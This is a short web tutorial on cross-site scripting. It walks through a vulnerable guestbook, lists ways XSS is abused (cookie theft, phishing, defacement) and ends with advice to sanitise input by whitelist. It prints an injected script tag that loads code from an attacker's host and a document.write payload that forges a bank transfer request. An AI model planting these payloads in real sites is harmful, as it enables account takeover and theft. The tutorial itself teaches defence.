This tutorial, its updates, and probably a comment app for it should be always up at houbysoft.com/v/en/papers/xss/.
[1. Basic Idea of XSS & a simple example]
[2. How it can be exploited]
[3. How to fix security vulnerabilities in your applications]
[1. Basic Idea of XSS]
Cross-site scripting, or XSS (it formerly was named CSS, but it
was renamed due to the confusing with the other CSS - Cascading style
sheets) can sound complicated, but it's not.
The basic idea is that in a vulnerable page, you can include
your own javascript (or other) code, which then fetches other code from
another site - usually a site that you control, of course. This is why
it is called "cross-site" - the script "crosses" sites from your site
to the compromised site.
Now let's look at an example. Let's say that we have a
vulnerable page, vulnerable.com/guestbook.php. A malicious user, Heike,
posts a "special" post, containing the following:
<script type="text/javascript" src="http://heikeswebsite.com/xss.js"></script>
If the page is vulnerable, then every person's who visit
vulnerable.com/guestbook.php browser will fetch the file located at
http://heikeswebsite.com/xss.js, and then execute the code in it.
In the next paragraph, I will show you what Heike could do.
[2. How it can be exploited]
There are many ways to exploit this vulnerability. Here are
some examples:
* Making the webbrowser of the victim crash, or hang in a loop to annoy
the user
* Defacing the whole site, by using the document.write function in
javascript
* Stealing the visitors' cookies, and then using them for identity
theft, information stealing (for example email passwords, billing
information, etc)
* Mounting pretty powerful phishing attacks. This is pretty much one of
the most widely used aspect of XSS - the classical scenario is that
Heike sends an email to a user, telling him to click a link that points
to a trusted website of the user - but containing Heike's XSS script.
Then, Heike can overwrite the original page with his own, or redirect
the user to another malicious page, and collect all the information
that the user may post.
* Use Cross-site request forgery. This sounds hard but is very simple.
Let's say that Heike knows that Sugafren, a user of the
vulnerable.com/guestbook.php page, uses the online banking application
of securebanking.com. Heike then does a little research on
securebanking.com, and discovers that to transfer money, this type of
URL has to be used:
http(s)://securebanking.com/transfer.php?from=x&to=y&amount=z
Next, Heike creates an account for himself, and constructs this URL:
http://securebanking.com/transfer.php?from=sugafren&to=heike&amount=1000000.
After this, Heike can only direct Sugafren to the URL using for example
the document.write function in JavaScript. So, Heike connects to his
server, and pastes this code in xss.js:
document.write("<img src='http://securebanking.com/transfer.php?from=sugafren&to=heike&amount=1000000'>");
This code will write the HTML img tag pointing to the transfer page.
Assuming that Sugafren is logged in to securebanking.com, he only has
to visit the vulnerable.com/guestbook.php once, and 1.000.000 will be
transfered to Heike's account. An advantage for Heike is that Sugafren
will probably not notice anything (until he sees the bill) - because
his browser will only display a broken image - because it won't
understand the response of securebanking.com - but has been told (with
the <img> tag) that the server will respond with an image.
This method could also be very "strong" if the securebanking.com site
would allow to use for example "me" as the value of the from variable -
because then, Heike could use a more general URL like:
http://securebanking.com/transfer.php?from=me&to=heike&amount=1000000
... and receive a million every time a user of securebanking.com that
is logged in visits vulnerable.com/guestbook.php.
* Use a local bug to gain executing power over the computer of the
users - and then the possibilities are huge - for example botnets,
remote control, black mailing...
[3. How to fix security vulnerabilities in your applications]
The message is clear, same as for many other attacks... sanitize ANY
input! It is so simple to do, yet a lot of people and underpaid
programmers "forget" it. Also, it is always better to use a whitelist
rather than a blacklist policy - because there are many ways to bypass
blacklists - and most likely you will need to update the policy when
new protocols will be created. So it is always better simply throwing
out everything that isn't a-z,A-z,0-9, or anything else that suits your
needs best.
Please mail any comments, suggestions and constructive criticism to
admin at houbysoft (the dot) com.